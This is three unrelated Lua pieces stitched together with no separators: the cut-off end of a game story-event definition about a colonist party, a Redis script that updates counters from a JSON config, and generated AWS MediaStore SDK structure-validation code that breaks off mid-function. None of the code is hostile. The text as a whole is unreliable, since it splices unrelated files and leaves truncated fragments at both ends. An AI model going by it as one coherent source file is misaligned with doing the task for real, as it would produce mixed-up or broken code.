PlaceObj('StoryBitReply', { 'Text', T(786481891870, --[[StoryBit Party Text]] "How unprofessional! You call this dancing? Let me show you!"), }), PlaceObj('StoryBitOutcome', { 'Prerequisites', {}, 'Title', T(877213074013, --[[StoryBit Party Title]] "Party!"), 'VoicedText', T(810989908988, --[[voice:narrator]] "You couldn’t remember the last time you had so much fun!"), 'Text', T(441726918291, --[[StoryBit Party Text]] "And to be honest, when you wake up in the morning, you couldn’t remember what you did at the party last night. You take the headache as a positive sign while you’re trying to reach your action station. People that see you in the corridors give you warm smiles.\n\n<effect>+<comfort_bonus> Comfort for all Colonists"), 'Effects', { PlaceObj('ForEachExecuteEffects', { 'Label', "Colonist", 'Filters', {}, 'Effects', { PlaceObj('ModifyColonistStat', { 'Stat', "Comfort", 'Amount', "<comfort_bonus>", }), }, }), }, }), })
-------------- Function to simulate inheritance ------------------------------------- -- local function inheritsFrom( baseClass ) -- local new_class = {} -- local class_mt = { __index = new_class } -- if baseClass then -- setmetatable( new_class, { __index = baseClass } ) -- end -- return new_class -- end ---------- Array methods --------------------------- local function concatToArray(a1, a2) for i = 1, #a2 do a1[#a1 + 1] = a2[i] end return a1 end local function flattenArray(arr) local flat = {} for i = 1, #arr do if type(arr[i]) == "table" then local inner_flatten = flattenArray(arr[i]) concatToArray(flat, inner_flatten) else flat[#flat + 1] = arr[i] end end return flat end local function dupArray(arr) local dup = {} for i = 1, #arr do dup[i] = arr[i] end return dup end ----------------------------------------------------- -------------- Base Class --------------------------------------------------------- local Base = {} function Base:new(_obj_type, ids, _type) local redis_key = _obj_type for k, id in ipairs(ids) do redis_key = redis_key .. "_" .. id end local baseObj = { redis_key = redis_key, _type = _type, _ids = ids, _obj_type = _obj_type } self.__index = self return setmetatable(baseObj, self) end function Base:count(key, num) local allKeys = flattenArray({ key }) for i, curKey in ipairs(allKeys) do if self._type == "set" then redis.call("ZINCRBY", self.redis_key, num, curKey) else redis.call("HINCRBY", self.redis_key, curKey, num) end end end function Base:expire(ttl) if redis.call("TTL", self.redis_key) == -1 then redis.call("EXPIRE", self.redis_key, ttl) end end ----------------- Custom Methods ------------------------- function Base:conditionalCount(should_count, key) if should_count ~= "0" and should_count ~= "false" then self:count(key, 1) end end function Base:countIfExist(value, should_count, key) if value and value ~= "" and value ~= "null" and value ~= "nil" then self:conditionalCount(should_count, key) end end function Base:sevenDaysCount(should_count, key) if should_count ~= "0" and should_count ~= "false" then local first_day = tonumber(self._ids[3]) for day = 0, 6, 1 do local curDayObjIds = dupArray(self._ids) if (first_day + day) > 365 then curDayObjIds[4] = string.format("%03d", (tonumber(curDayObjIds[4]) + 1) ) end local curDayObj = Base:new(self._obj_type, curDayObjIds, self._type) curDayObj:count(key, 1) curDayObj:expire(1209600) -- expire in 2 weeks end end end function Base:countAndSetIf(should_count, countKey, redisKey, setKey) if should_count ~= "0" and should_count ~= "false" then self:count(countKey, 1) local setCount = redis.call("ZCOUNT", self.redis_key, "-inf", "+inf") redis.call("HSET", redisKey, setKey, setCount) end end ---------------------------------------------------------- ------------- Helper Methods ------------------------ -- return an array with all the values in tbl that match the given keys array local function getValueByKeys(tbl, keys) local values = {} if type(keys) == "table" then for i, key in ipairs(keys) do table.insert(values, tbl[key]) end else table.insert(values, tbl[keys]) end return values end -- parse key and replace "place holders" with their value from tbl. -- matching replace values in tbl can be arrays, in such case an array will be returned with all the possible keys combinations local function addValuesToKey(tbl, key) local rslt = { key } local match = key:match("{[%w_]*}") while match do local subStrings = flattenArray({ tbl[match:sub(2, -2)] }) local tempResult = {} for i, subStr in ipairs(subStrings) do local dup = dupArray(rslt) for j, existingKey in ipairs(dup) do local curKey = existingKey:gsub(match, subStr) dup[j] = curKey end concatToArray(tempResult, dup) end rslt = tempResult if #rslt > 0 then match = rslt[1]:match("{[%w_]*}") else match = nil end end if #rslt == 1 then return rslt[1] else return rslt end end -------------------------------------------------- local mode = ARGV[2] or "live" local arg = ARGV[1] local params = cjson.decode(arg) local config = cjson.decode(redis.call("get", "von_count_config_".. mode)) local action = params["action"] local defaultMethod = { change = 1, custom_functions = {} } local action_config = config[action] if action_config then for obj_type, methods in pairs(action_config) do for i, defs in ipairs(methods) do setmetatable(defs, { __index = defaultMethod }) local ids = getValueByKeys(params, defs["id"]) local _type = defs["type"] or "hash" local obj = Base:new(obj_type, ids, _type) if defs["count"] then local key = addValuesToKey(params, defs["count"]) local change = defs["change"] obj:count(key, change) end for j, custom_function in ipairs(defs["custom_functions"]) do local function_name = custom_function["name"] local args = {} for z, arg in ipairs(custom_function["args"]) do local arg_value = addValuesToKey(params, arg) table.insert(args, arg_value) end obj[function_name](obj, unpack(args)) end if defs["expire"] then obj:expire(defs["expire"]) end end end end
--- GENERATED CODE - DO NOT MODIFY -- AWS Elemental MediaStore (mediastore-2017-09-01) local M = {} M.metadata = { api_version = "2017-09-01", json_version = "1.1", protocol = "json", checksum_format = "", endpoint_prefix = "mediastore", service_abbreviation = "MediaStore", service_full_name = "AWS Elemental MediaStore", signature_version = "v4", target_prefix = "MediaStore_20170901", timestamp_format = "", global_endpoint = "", uid = "mediastore-2017-09-01", } local keys = {} local asserts = {} keys.Container = { ["Status"] = true, ["Endpoint"] = true, ["CreationTime"] = true, ["Name"] = true, ["ARN"] = true, nil } function asserts.AssertContainer(struct) assert(struct) assert(type(struct) == "table", "Expected Container to be of type 'table'") if struct["Status"] then asserts.AssertContainerStatus(struct["Status"]) end if struct["Endpoint"] then asserts.AssertEndpoint(struct["Endpoint"]) end if struct["CreationTime"] then asserts.AssertTimeStamp(struct["CreationTime"]) end if struct["Name"] then asserts.AssertContainerName(struct["Name"]) end if struct["ARN"] then asserts.AssertContainerARN(struct["ARN"]) end for k,_ in pairs(struct) do assert(keys.Container[k], "Container contains unknown key " .. tostring(k)) end end --- Create a structure of type Container -- <p>This section describes operations that you can perform on an AWS Elemental MediaStore container.</p> -- @param args Table with arguments in key-value form. -- Valid keys: -- * Status [ContainerStatus] <p>The status of container creation or deletion. The status is one of the following: <code>CREATING</code>, <code>ACTIVE</code>, or <code>DELETING</code>. While the service is creating the container, the status is <code>CREATING</code>. When the endpoint is available, the status changes to <code>ACTIVE</code>.</p> -- * Endpoint [Endpoint] <p>The DNS endpoint of the container. Use the endpoint to identify the specific container when sending requests to the data plane. The service assigns this value when the container is created. Once the value has been assigned, it does not change.</p> -- * CreationTime [TimeStamp] <p>Unix timestamp.</p> -- * Name [ContainerName] <p>The name of the container.</p> -- * ARN [ContainerARN] <p>The Amazon Resource Name (ARN) of the container. The ARN has the following format:</p> <p>arn:aws:&lt;region&gt;:&lt;account that owns this container&gt;:container/&lt;name of container&gt; </p> <p>For example: arn:aws:mediastore:us-west-2:111122223333:container/movies </p> -- @return Container structure as a key-value pair table function M.Container(args) assert(args, "You must provide an argument table when creating Container") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["Status"] = args["Status"], ["Endpoint"] = args["Endpoint"], ["CreationTime"] = args["CreationTime"], ["Name"] = args["Name"], ["ARN"] = args["ARN"], } asserts.AssertContainer(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.ContainerNotFoundException = { ["Message"] = true, nil } function asserts.AssertContainerNotFoundException(struct) assert(struct) assert(type(struct) == "table", "Expected ContainerNotFoundException to be of type 'table'") if struct["Message"] then asserts.AssertErrorMessage(struct["Message"]) end for k,_ in pairs(struct) do assert(keys.ContainerNotFoundException[k], "ContainerNotFoundException contains unknown key " .. tostring(k)) end end --- Create a structure of type ContainerNotFoundException -- <p>Could not perform an operation on a container that does not exist.</p> -- @param args Table with arguments in key-value form. -- Valid keys: -- * Message [ErrorMessage] -- @return ContainerNotFoundException structure as a key-value pair table function M.ContainerNotFoundException(args) assert(args, "You must provide an argument table when creating ContainerNotFoundException") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["Message"] = args["Message"], } asserts.AssertContainerNotFoundException(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.CreateContainerInput = { ["ContainerName"] = true, nil } function asserts.AssertCreateContainerInput(struct) assert(struct) assert(type(struct) == "table", "Expected CreateContainerInput to be of type 'table'") assert(struct["ContainerName"], "Expected key ContainerName to exist in table") if struct["ContainerName"] then asserts.AssertContainerName(struct["ContainerName"]) end for k,_ in pairs(struct) do assert(keys.CreateContainerInput[k], "CreateContainerInput contains unknown key " .. tostring(k)) end end --- Create a structure of type CreateContainerInput -- -- @param args Table with arguments in key-value form. -- Valid keys: -- * ContainerName [ContainerName] <p>The name for the container. The name must be from 1 to 255 characters. Container names must be unique to your AWS account within a specific region. As an example, you could create a container named <code>movies</code> in every region, as long as you don’t have an existing container with that name.</p> -- Required key: ContainerName -- @return CreateContainerInput structure as a key-value pair table function M.CreateContainerInput(args) assert(args, "You must provide an argument table when creating CreateContainerInput") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["ContainerName"] = args["ContainerName"], } asserts.AssertCreateContainerInput(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.DeleteContainerInput = { ["ContainerName"] = true, nil } function asserts.AssertDeleteContainerInput(struct) assert(struct) assert(type(struct) == "table", "Expected DeleteContainerInput to be of type 'table'") assert(struct["ContainerName"], "Expected key ContainerName to exist in table") if struct["ContainerName"] then asserts.AssertContainerName(struct["ContainerName"]) end for k,_ in pairs(struct) do assert(keys.DeleteContainerInput[k], "DeleteContainerInput contains unknown key " .. tostring(k)) end end --- Create a structure of type DeleteContainerInput -- -- @param args Table with arguments in key-value form. -- Valid keys: -- * ContainerName [ContainerName] <p>The name of the container to delete. </p> -- Required key: ContainerName -- @return DeleteContainerInput structure as a key-value pair table function M.DeleteContainerInput(args) assert(args, "You must provide an argument table when creating DeleteContainerInput") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["ContainerName"] = args["ContainerName"], } asserts.AssertDeleteContainerInput(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.DeleteContainerOutput = { nil } function asserts.AssertDeleteContainerOutput(struct) assert(struct) assert(type(struct) == "table", "Expected DeleteContainerOutput to be of type 'table'") for k,_ in pairs(struct) do assert(keys.DeleteContainerOutput[k], "DeleteContainerOutput contains unknown key " .. tostring(k)) end end --- Create a structure of type DeleteContainerOutput -- -- @param args Table with arguments in key-value form. -- Valid keys: -- @return DeleteContainerOutput structure as a key-value pair table function M.DeleteContainerOutput(args) assert(args, "You must provide an argument table when creating DeleteContainerOutput") local query_args = { } local uri_args = { } local header_args = { } local all_args = { } asserts.AssertDeleteContainerOutput(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.LimitExceededException = { ["Message"] = true, nil } function asserts.AssertLimitExceededException(struct) assert(struct) assert(type(struct) == "table", "Expected LimitExceededException to be of type 'table'") if struct["Message"] then asserts.AssertErrorMessage(struct["Message"]) end for k,_ in pairs(struct) do assert(keys.LimitExceededException[k], "LimitExceededException contains unknown key " .. tostring(k)) end end --- Create a structure of type LimitExceededException -- <p>A service limit has been exceeded.</p> -- @param args Table with arguments in key-value form. -- Valid keys: -- * Message [ErrorMessage] -- @return LimitExceededException structure as a key-value pair table function M.LimitExceededException(args) assert(args, "You must provide an argument table when creating LimitExceededException") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["Message"] = args["Message"], } asserts.AssertLimitExceededException(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.DeleteContainerPolicyOutput = { nil } function asserts.AssertDeleteContainerPolicyOutput(struct) assert(struct) assert(type(struct) == "table", "Expected DeleteContainerPolicyOutput to be of type 'table'") for k,_ in pairs(struct) do assert(keys.DeleteContainerPolicyOutput[k], "DeleteContainerPolicyOutput contains unknown key " .. tostring(k)) end end --- Create a structure of type DeleteContainerPolicyOutput -- -- @param args Table with arguments in key-value form. -- Valid keys: -- @return DeleteContainerPolicyOutput structure as a key-value pair table function M.DeleteContainerPolicyOutput(args) assert(args, "You must provide an argument table when creating DeleteContainerPolicyOutput") local query_args = { } local uri_args = { } local header_args = { } local all_args = { } asserts.AssertDeleteContainerPolicyOutput(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.CorsRule = { ["AllowedHeaders"] = true, ["ExposeHeaders"] = true, ["MaxAgeSeconds"] = true, ["AllowedMethods"] = true, ["AllowedOrigins"] = true, nil } function asserts.AssertCorsRule(struct) assert(struct) assert(type(struct) == "table", "Expected CorsRule to be of type 'table'") if struct["AllowedHeaders"] then asserts.AssertAllowedHeaders(struct["AllowedHeaders"]) end if struct["ExposeHeaders"] then asserts.AssertExposeHeaders(struct["ExposeHeaders"]) end if struct["MaxAgeSeconds"] then asserts.AssertMaxAgeSeconds(struct["MaxAgeSeconds"]) end if struct["AllowedMethods"] then asserts.AssertAllowedMethods(struct["AllowedMethods"]) end if struct["AllowedOrigins"] then asserts.AssertAllowedOrigins(struct["AllowedOrigins"]) end for k,_ in pairs(struct) do assert(keys.CorsRule[k], "CorsRule contains unknown key " .. tostring(k)) end end --- Create a structure of type CorsRule -- <p>A rule for a CORS policy. You can add up to 100 rules to a CORS policy. If more than one rule applies, the service uses the first applicable rule listed.</p> -- @param args Table with arguments in key-value form. -- Valid keys: -- * AllowedHeaders [AllowedHeaders] <p>Specifies which headers are allowed in a preflight <code>OPTIONS</code> request through the <code>Access-Control-Request-Headers</code> header. Each header name that is specified in <code>Access-Control-Request-Headers</code> must have a corresponding entry in the rule. Only the headers that were requested are sent back. </p> <p>This element can contain only one wildcard character (*).</p> -- * ExposeHeaders [ExposeHeaders] <p>One or more headers in the response that you want users to be able to access from their applications (for example, from a JavaScript <code>XMLHttpRequest</code> object).</p> <p>This element is optional for each rule.</p> -- * MaxAgeSeconds [MaxAgeSeconds] <p>The time in seconds that your browser caches the preflight response for the specified resource.</p> <p>A CORS rule can have only one <code>MaxAgeSeconds</code> element.</p> -- * AllowedMethods [AllowedMethods] <p>Identifies an HTTP method that the origin that is specified in the rule is allowed to execute.</p> <p>Each CORS rule must contain at least one <code>AllowedMethod</code> and one <code>AllowedOrigin</code> element.</p> -- * AllowedOrigins [AllowedOrigins] <p>One or more response headers that you want users to be able to access from their applications (for example, from a JavaScript <code>XMLHttpRequest</code> object).</p> <p>Each CORS rule must have at least one <code>AllowedOrigin</code> element. The string value can include only one wildcard character (*), for example, http://*.example.com. Additionally, you can specify only one wildcard character to allow cross-origin access for all origins.</p> -- @return CorsRule structure as a key-value pair table function M.CorsRule(args) assert(args, "You must provide an argument table when creating CorsRule") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["AllowedHeaders"] = args["AllowedHeaders"], ["ExposeHeaders"] = args["ExposeHeaders"], ["MaxAgeSeconds"] = args["MaxAgeSeconds"], ["AllowedMethods"] = args["AllowedMethods"], ["AllowedOrigins"] = args["AllowedOrigins"], } asserts.AssertCorsRule(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.PolicyNotFoundException = { ["Message"] = true, nil } function asserts.AssertPolicyNotFoundException(struct) assert(struct) assert(type(struct) == "table", "Expected PolicyNotFoundException to be of type 'table'") if struct["Message"] then asserts.AssertErrorMessage(struct["Message"]) end for k,_ in pairs(struct) do assert(keys.PolicyNotFoundException[k], "PolicyNotFoundException contains unknown key " .. tostring(k)) end end --- Create a structure of type PolicyNotFoundException -- <p>Could not perform an operation on a policy that does not exist.</p> -- @param args Table with arguments in key-value form. -- Valid keys: -- * Message [ErrorMessage] -- @return PolicyNotFoundException structure as a key-value pair table function M.PolicyNotFoundException(args) assert(args, "You must provide an argument table when creating PolicyNotFoundException") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["Message"] = args["Message"], } asserts.AssertPolicyNotFoundException(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.ListContainersOutput = { ["NextToken"] = true, ["Containers"] = true, nil } function asserts.AssertListContainersOutput(struct) assert(struct) assert(type(struct) == "table", "Expected ListContainersOutput to be of type 'table'") assert(struct["Containers"], "Expected key Containers to exist in table") if struct["NextToken"] then asserts.AssertPaginationToken(struct["NextToken"]) end if struct["Containers"] then asserts.AssertContainerList(struct["Containers"]) end for k,_ in pairs(struct) do assert(keys.ListContainersOutput[k], "ListContainersOutput contains unknown key " .. tostring(k)) end end --- Create a structure of type ListContainersOutput -- -- @param args Table with arguments in key-value form. -- Valid keys: -- * NextToken [PaginationToken] <p> <code>NextToken</code> is the token to use in the next call to <code>ListContainers</code>. This token is returned only if you included the <code>MaxResults</code> tag in the original command, and only if there are still containers to return. </p> -- * Containers [ContainerList] <p>The names of the containers.</p> -- Required key: Containers -- @return ListContainersOutput structure as a key-value pair table function M.ListContainersOutput(args) assert(args, "You must provide an argument table when creating ListContainersOutput") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["NextToken"] = args["NextToken"], ["Containers"] = args["Containers"], } asserts.AssertListContainersOutput(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.PutCorsPolicyInput = { ["ContainerName"] = true, ["CorsPolicy"] = true, nil } function asserts.AssertPutCorsPolicyInput(struct) assert(struct) assert(type(struct) == "table", "Expected PutCorsPolicyInput to be of type 'table'") assert(struct["ContainerName"], "Expected key ContainerName to exist in table") assert(struct["CorsPolicy"], "Expected key CorsPolicy to exist in table") if struct["ContainerName"] then asserts.AssertContainerName(struct["ContainerName"]) end if struct["CorsPolicy"] then asserts.AssertCorsPolicy(struct["CorsPolicy"]) end for k,_ in pairs(struct) do assert(keys.PutCorsPolicyInput[k], "PutCorsPolicyInput contains unknown key " .. tostring(k)) end end --- Create a structure of type PutCorsPolicyInput -- -- @param args Table with arguments in key-value form. -- Valid keys: -- * ContainerName [ContainerName] <p>The name of the container that you want to assign the CORS policy to.</p> -- * CorsPolicy [CorsPolicy] <p>The CORS policy to apply to the container. </p> -- Required key: ContainerName -- Required key: CorsPolicy -- @return PutCorsPolicyInput structure as a key-value pair table function M.PutCorsPolicyInput(args) assert(args, "You must provide an argument table when creating PutCorsPolicyInput") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["ContainerName"] = args["ContainerName"], ["CorsPolicy"] = args["CorsPolicy"], } asserts.AssertPutCorsPolicyInput(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.PutContainerPolicyInput = { ["Policy"] = true, ["ContainerName"] = true, nil } function asserts.AssertPutContainerPolicyInput(struct) assert(struct) assert(type(struct) == "table", "Expected PutContainerPolicyInput to be of type 'table'") assert(struct["ContainerName"], "Expected key ContainerName to exist in table") assert(struct["Policy"], "Expected key Policy to exist in table") if struct["Policy"] then asserts.AssertContainerPolicy(struct["Policy"]) end if struct["ContainerName"] then asserts.AssertContainerName(struct["ContainerName"]) end for k,_ in pairs(struct) do assert(keys.PutContainerPolicyInput[k], "PutContainerPolicyInput contains unknown key " .. tostring(k)) end end --- Create a structure of type PutContainerPolicyInput -- -- @param args Table with arguments in key-value form. -- Valid keys: -- * Policy [ContainerPolicy] <p>The contents of the policy, which includes the following: </p> <ul> <li> <p>One <code>Version</code> tag</p> </li> <li> <p>One <code>Statement</code> tag that contains the standard tags for the policy.</p> </li> </ul> -- * ContainerName [ContainerName] <p>The name of the container.</p> -- Required key: ContainerName -- Required key: Policy -- @return PutContainerPolicyInput structure as a key-value pair table function M.PutContainerPolicyInput(args) assert(args, "You must provide an argument table when creating PutContainerPolicyInput") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["Policy"] = args["Policy"], ["ContainerName"] = args["ContainerName"], } asserts.AssertPutContainerPolicyInput(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.PutContainerPolicyOutput = { nil } function asserts.AssertPutContainerPolicyOutput(struct) assert(struct) assert(type(struct) == "table", "Expected PutContainerPolicyOutput to be of type 'table'") for k,_ in pairs(struct) do assert(keys.PutContainerPolicyOutput[k], "PutContainerPolicyOutput contains unknown key " .. tostring(k)) end end --- Create a structure of type PutContainerPolicyOutput -- -- @param args Table with arguments in key-value form. -- Valid keys: -- @return PutContainerPolicyOutput structure as a key-value pair table function M.PutContainerPolicyOutput(args) assert(args, "You must provide an argument table when creating PutContainerPolicyOutput") local query_args = { } local uri_args = { } local header_args = { } local all_args = { } asserts.AssertPutContainerPolicyOutput(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.DescribeContainerInput = { ["ContainerName"] = true, nil } function asserts.AssertDescribeContainerInput(struct) assert(struct) assert(type(struct) == "table", "Expected DescribeContainerInput to be of type 'table'") if struct["ContainerName"] then asserts.AssertContainerName(struct["ContainerName"]) end for k,_ in pairs(struct) do assert(keys.DescribeContainerInput[k], "DescribeContainerInput contains unknown key " .. tostring(k)) end end --- Create a structure of type DescribeContainerInput -- -- @param args Table with arguments in key-value form. -- Valid keys: -- * ContainerName [ContainerName] <p>The name of the container to query.</p> -- @return DescribeContainerInput structure as a key-value pair table function M.DescribeContainerInput(args) assert(args, "You must provide an argument table when creating DescribeContainerInput") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["ContainerName"] = args["ContainerName"], } asserts.AssertDescribeContainerInput(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.ListContainersInput = { ["NextToken"] = true, ["MaxResults"] = true, nil } function asserts.AssertListContainersInput(struct) assert(struct) assert(type(struct) == "table", "Expected ListContainersInput to be of type 'table'") if struct["NextToken"] then asserts.AssertPaginationToken(struct["NextToken"]) end if struct["MaxResults"] then asserts.AssertContainerListLimit(struct["MaxResults"]) end for k,_ in pairs(struct) do assert(keys.ListContainersInput[k], "ListContainersInput contains unknown key " .. tostring(k)) end end --- Create a structure of type ListContainersInput -- -- @param args Table with arguments in key-value form. -- Valid keys: -- * NextToken [PaginationToken] <p>Only if you used <code>MaxResults</code> in the first command, enter the token (which was included in the previous response) to obtain the next set of containers. This token is included in a response only if there actually are more containers to list.</p> -- * MaxResults [ContainerListLimit] <p>Enter the maximum number of containers in the response. Use from 1 to 255 characters. </p> -- @return ListContainersInput structure as a key-value pair table function M.ListContainersInput(args) assert(args, "You must provide an argument table when creating ListContainersInput") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["NextToken"] = args["NextToken"], ["MaxResults"] = args["MaxResults"], } asserts.AssertListContainersInput(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.DescribeContainerOutput = { ["Container"] = true, nil } function asserts.AssertDescribeContainerOutput(struct) assert(struct) assert(type(struct) == "table", "Expected DescribeContainerOutput to be of type 'table'") if struct["Container"] then asserts.AssertContainer(struct["Container"]) end for k,_ in pairs(struct) do assert(keys.DescribeContainerOutput[k], "DescribeContainerOutput contains unknown key " .. tostring(k)) end end --- Create a structure of type DescribeContainerOutput -- -- @param args Table with arguments in key-value form. -- Valid keys: -- * Container [Container] <p>The name of the queried container.</p> -- @return DescribeContainerOutput structure as a key-value pair table function M.DescribeContainerOutput(args) assert(args, "You must provide an argument table when creating DescribeContainerOutput") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["Container"] = args["Container"], } asserts.AssertDescribeContainerOutput(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.PutCorsPolicyOutput = { nil } function asserts.AssertPutCorsPolicyOutput(struct) assert(struct) assert(type(struct) == "table", "Expected PutCorsPolicyOutput to be of type 'table'") for k,_ in pairs(struct) do assert(keys.PutCorsPolicyOutput[k], "PutCorsPolicyOutput contains unknown key " .. tostring(k)) end end --- Create a structure of type PutCorsPolicyOutput -- -- @param args Table with arguments in key-value form. -- Valid keys: -- @return PutCorsPolicyOutput structure as a key-value pair table function M.PutCorsPolicyOutput(args) assert(args, "You must provide an argument table when creating PutCorsPolicyOutput") local query_args = { } local uri_args = { } local header_args = { } local all_args = { } asserts.AssertPutCorsPolicyOutput(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.GetContainerPolicyInput = { ["ContainerName"] = true, nil } function asserts.AssertGetContainerPolicyInput(struct) assert(struct) assert(type(struct) == "table", "Expected GetContainerPolicyInput to be of type 'table'") assert(struct["ContainerName"], "Expected key ContainerName to exist in table") if struct["ContainerName"] then asserts.AssertContainerName(struct["ContainerName"]) end for k,_ in pairs(struct) do assert(keys.GetContainerPolicyInput[k], "GetContainerPolicyInput contains unknown key " .. tostring(k)) end end --- Create a structure of type GetContainerPolicyInput -- -- @param args Table with arguments in key-value form. -- Valid keys: -- * ContainerName [ContainerName] <p>The name of the container. </p> -- Required key: ContainerName -- @return GetContainerPolicyInput structure as a key-value pair table function M.GetContainerPolicyInput(args) assert(args, "You must provide an argument table when creating GetContainerPolicyInput") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["ContainerName"] = args["ContainerName"], } asserts.AssertGetContainerPolicyInput(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.InternalServerError = { ["Message"] = true, nil } function asserts.AssertInternalServerError(struct) assert(struct) assert(type(struct) == "table", "Expected InternalServerError to be of type 'table'") if struct["Message"] then asserts.AssertErrorMessage(struct["Message"]) end for k,_ in pairs(struct) do assert(keys.InternalServerError[k], "InternalServerError contains unknown key " .. tostring(k)) end end --- Create a structure of type InternalServerError -- <p>The service is temporarily unavailable.</p> -- @param args Table with arguments in key-value form. -- Valid keys: -- * Message [ErrorMessage] -- @return InternalServerError structure as a key-value pair table function M.InternalServerError(args) assert(args, "You must provide an argument table when creating InternalServerError") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["Message"] = args["Message"], } asserts.AssertInternalServerError(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.GetContainerPolicyOutput = { ["Policy"] = true, nil } function asserts.AssertGetContainerPolicyOutput(struct) assert(struct) assert(type(struct) == "table", "Expected GetContainerPolicyOutput to be of type 'table'") assert(struct["Policy"], "Expected key Policy to exist in table") if struct["Policy"] then asserts.AssertContainerPolicy(struct["Policy"]) end for k,_ in pairs(struct) do assert(keys.GetContainerPolicyOutput[k], "GetContainerPolicyOutput contains unknown key " .. tostring(k)) end end --- Create a structure of type GetContainerPolicyOutput -- -- @param args Table with arguments in key-value form. -- Valid keys: -- * Policy [ContainerPolicy] <p>The contents of the access policy.</p> -- Required key: Policy -- @return GetContainerPolicyOutput structure as a key-value pair table function M.GetContainerPolicyOutput(args) assert(args, "You must provide an argument table when creating GetContainerPolicyOutput") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["Policy"] = args["Policy"], } asserts.AssertGetContainerPolicyOutput(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.DeleteCorsPolicyOutput = { nil } function asserts.AssertDeleteCorsPolicyOutput(struct) assert(struct) assert(type(struct) == "table", "Expected DeleteCorsPolicyOutput to be of type 'table'") for k,_ in pairs(struct) do assert(keys.DeleteCorsPolicyOutput[k], "DeleteCorsPolicyOutput contains unknown key " .. tostring(k)) end end --- Create a structure of type DeleteCorsPolicyOutput -- -- @param args Table with arguments in key-value form. -- Valid keys: -- @return DeleteCorsPolicyOutput structure as a key-value pair table function M.DeleteCorsPolicyOutput(args) assert(args, "You must provide an argument table when creating DeleteCorsPolicyOutput") local query_args = { } local uri_args = { } local header_args = { } local all_args = { } asserts.AssertDeleteCorsPolicyOutput(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.CreateContainerOutput = { ["Container"] = true, nil } function asserts.AssertCreateContainerOutput(struct) assert(struct) assert(type(struct) == "table", "Expected CreateContainerOutput to be of type 'table'") assert(struct["Container"], "Expected key Container to exist in table") if struct["Container"] then asserts.AssertContainer(struct["Container"]) end for k,_ in pairs(struct) do assert(keys.CreateContainerOutput[k], "CreateContainerOutput contains unknown key " .. tostring(k)) end end --- Create a structure of type CreateContainerOutput -- -- @param args Table with arguments in key-value form. -- Valid keys: -- * Container [Container] <p>ContainerARN: The Amazon Resource Name (ARN) of the newly created container. The ARN has the following format: arn:aws:&lt;region&gt;:&lt;account that owns this container&gt;:container/&lt;name of container&gt;. For example: arn:aws:mediastore:us-west-2:111122223333:container/movies </p> <p>ContainerName: The container name as specified in the request.</p> <p>CreationTime: Unix time stamp.</p> <p>Status: The status of container creation or deletion. The status is one of the following: <code>CREATING</code>, <code>ACTIVE</code>, or <code>DELETING</code>. While the service is creating the container, the status is <code>CREATING</code>. When an endpoint is available, the status changes to <code>ACTIVE</code>.</p> <p>The return value does not include the container's endpoint. To make downstream requests, you must obtain this value by using <a>DescribeContainer</a> or <a>ListContainers</a>.</p> -- Required key: Container -- @return CreateContainerOutput structure as a key-value pair table function M.CreateContainerOutput(args) assert(args, "You must provide an argument table when creating CreateContainerOutput") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["Container"] = args["Container"], } asserts.AssertCreateContainerOutput(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.CorsPolicyNotFoundException = { ["Message"] = true, nil } function asserts.AssertCorsPolicyNotFoundException(struct) assert(struct) assert(type(struct) == "table", "Expected CorsPolicyNotFoundException to be of type 'table'") if struct["Message"] then asserts.AssertErrorMessage(struct["Message"]) end for k,_ in pairs(struct) do assert(keys.CorsPolicyNotFoundException[k], "CorsPolicyNotFoundException contains unknown key " .. tostring(k)) end end --- Create a structure of type CorsPolicyNotFoundException -- <p>Could not perform an operation on a policy that does not exist.</p> -- @param args Table with arguments in key-value form. -- Valid keys: -- * Message [ErrorMessage] -- @return CorsPolicyNotFoundException structure as a key-value pair table function M.CorsPolicyNotFoundException(args) assert(args, "You must provide an argument table when creating CorsPolicyNotFoundException") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["Message"] = args["Message"], } asserts.AssertCorsPolicyNotFoundException(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.GetCorsPolicyOutput = { ["CorsPolicy"] = true, nil } function 